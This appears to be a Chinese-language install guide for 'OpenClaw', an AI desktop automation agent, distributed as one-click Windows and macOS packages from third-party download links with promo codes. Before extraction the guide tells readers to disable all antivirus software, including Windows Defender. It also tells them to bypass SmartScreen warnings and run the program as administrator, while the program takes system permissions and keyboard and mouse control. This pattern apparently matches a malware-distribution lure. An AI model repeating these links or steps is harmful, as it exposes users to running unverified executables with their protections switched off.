OpenClaw 双系统搭建实录｜告别手动配置依赖，快速搭建本地 AI 自动化代理
适配系统：Windows10/11 64 位、MacOS Windows 当前版本：v2.9.3 MacOS 当前版本：v2.7.9 工具采用可视化图形界面操作，不需要手动配置 Python、Node.js 等运行环境，全部依赖组件已经内置在安装包内部。整个部署流程耗时很短，就算不熟悉环境搭建，也可以顺利完成整套配置。
Windows 安装包文件大小约 45.8MB，建议优先使用浏览器自带下载工具或者迅雷，减少下载中断问题。
Windows 端 v2.9.3 一键部署包：https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
MacOS 端 v2.7.9 一键部署包：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
⚠️部署前必看要点
解压、安装以及运行程序之前，务必关闭电脑全部安全防护软件，包括 360 安全卫士、腾讯电脑管家、火绒、Windows Defender 实时防护。
该工具需要获取系统权限，实现文件读写、键鼠模拟等自动化行为，很容易被安全软件识别为风险程序。一旦核心程序文件被隔离删除，就会直接造成部署失败。项目为开源性质，可前往 GitHub 核验安全情况，关闭防护软件之后再开展后续操作。
第一步：解压压缩包，启动安装程序
推荐使用 WinRAR、7‑Zip 解压，系统自带解压工具有可能造成文件损坏。右键压缩包选择解压到当前文件夹，解压完成后得到 Openclaw‑win 文件夹。
进入解压目录，双击Openclaw Windows 一键启动.exe，红色龙虾图标方便识别。遇到 Windows SmartScreen 安全拦截弹窗，点击更多信息，选择仍要运行即可跳过拦截。
进入欢迎界面后，点击底部「开始使用」，跳转至安装路径选择页面。
安装路径硬性规范
安装目录只能使用纯英文，禁止出现中文、空格、各类特殊符号。不建议放置在 C 盘，避免占用系统盘存储空间。 ✅推荐路径：D:\OpenClaw、E:\AI\OpenClaw❌错误路径：D:\工具集合\OpenClaw、D:\AI工具
勾选用户协议以及免责声明，点击开始安装，程序进入全自动部署阶段。
第二步：全自动后台部署，无需人工干预
点击开始安装之后，软件自动执行全部部署工作，整体耗时 3‑5 分钟，实际时间取决于电脑硬件性能。部署过程不要关闭窗口，中断会直接导致部署失败。
程序自动完成以下工作：
- 检测本机运行环境，自动补齐 Git、Node.js、Python 等缺失依赖组件
- 部署适配 Windows 平台的 OpenClaw 核心程序文件
- 安装浏览器控制、键鼠模拟工具，支撑各类自动化任务
- 生成设备专属.env 配置文件，完成注册并生成桌面快捷启动方式
进度条走到 100%，软件会自动唤起主程序界面。
第三步：第一次启动，确认 Gateway 服务状态
安装结束自动进入初始化页面，页面提示「正在等待 Gateway 就绪...」。第一次启动时后台服务需要初始化，等待 1‑3 分钟属于正常现象，后续打开软件仅需要数秒即可完成加载。
当界面右上角显示「Gateway 在线」，就代表部署全部完成。界面各板块作用：
- 右上角：Gateway 服务状态、重启按钮、日志查看入口、可用 Tokens 额度（内置 28.00 万额度，支撑基础场景使用）
- 左侧栏：本地、渠道切换，支持新建对话，回看历史会话记录
- 中间区域：对话交互窗口，自带 AI 智能助手，支持多模型切换，代码片段自动高亮
- 底部输入区：自然语言指令输入，Enter 发送指令，Shift+Enter 换行，可切换自动模式与普通模式
第四步：输入自然语言指令，执行自动化任务
部署完成后无需额外调整配置，直接在底部输入框输入指令即可。OpenClaw 会自动拆解任务，调用配套工具操控电脑执行操作，指令描述越细致，任务执行效果越理想。
测试指令，直接复制即可使用
- 将 D 盘下载目录内文件，按照文件类型新建文件夹做分类整理
- 打开记事本，写入 “OpenClaw 部署完成”，保存文档放置桌面
- 获取本机各个磁盘剩余存储空间，整理为文本展示出来
故障排查汇总，解决大部分部署异常
安装失败、启动程序无响应
确认所有安全防护软件全部关闭；关闭防护后依旧报错，删除旧解压文件，重新解压安装包重试。
Gateway 一直处于离线状态
- 检查安装路径全部为英文，不含中文以及特殊符号
- 点击右上角重启按钮，重新启动 Gateway 后台服务
- 完全关闭程序，右键程序图标，选择以管理员身份运行
弹出网络错误提示
第一次启动需要网络资源完成初始化，保证网络正常，关闭代理、VPN 工具后重启软件。
Tokens 额度不足
内置额度足够日常基础场景使用，额度耗尽后可以在界面充值补充，不会影响基础自动化能力。
输入框失效，指令发送无反馈
等待 Gateway 服务状态变为在线之后再下发指令，如果依旧异常，直接重新安装。
使用小提示
- 尽量选择磁盘剩余空间大于 5G 的分区进行安装，预留空间存放模型缓存以及后续扩展组件
- 桌面快捷方式生成成功后，后续直接双击快捷图标启动，不用重复解压安装包
- 如果需要对接飞书、微信等聊天渠道，部署完成后前往设置‑聊天渠道板块完成配置，就可以通过聊天窗口下发自动化指令
- 版本更新直接下载新版本安装包覆盖原文件夹即可，无需卸载旧版本
安装包下载地址
Windows 端 v2.9.3 一键部署包：https://xiake.yun/api/download/package/22?promoCode=IV4E9B04A80C
MacOS 端 v2.7.9 一键部署包：https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C
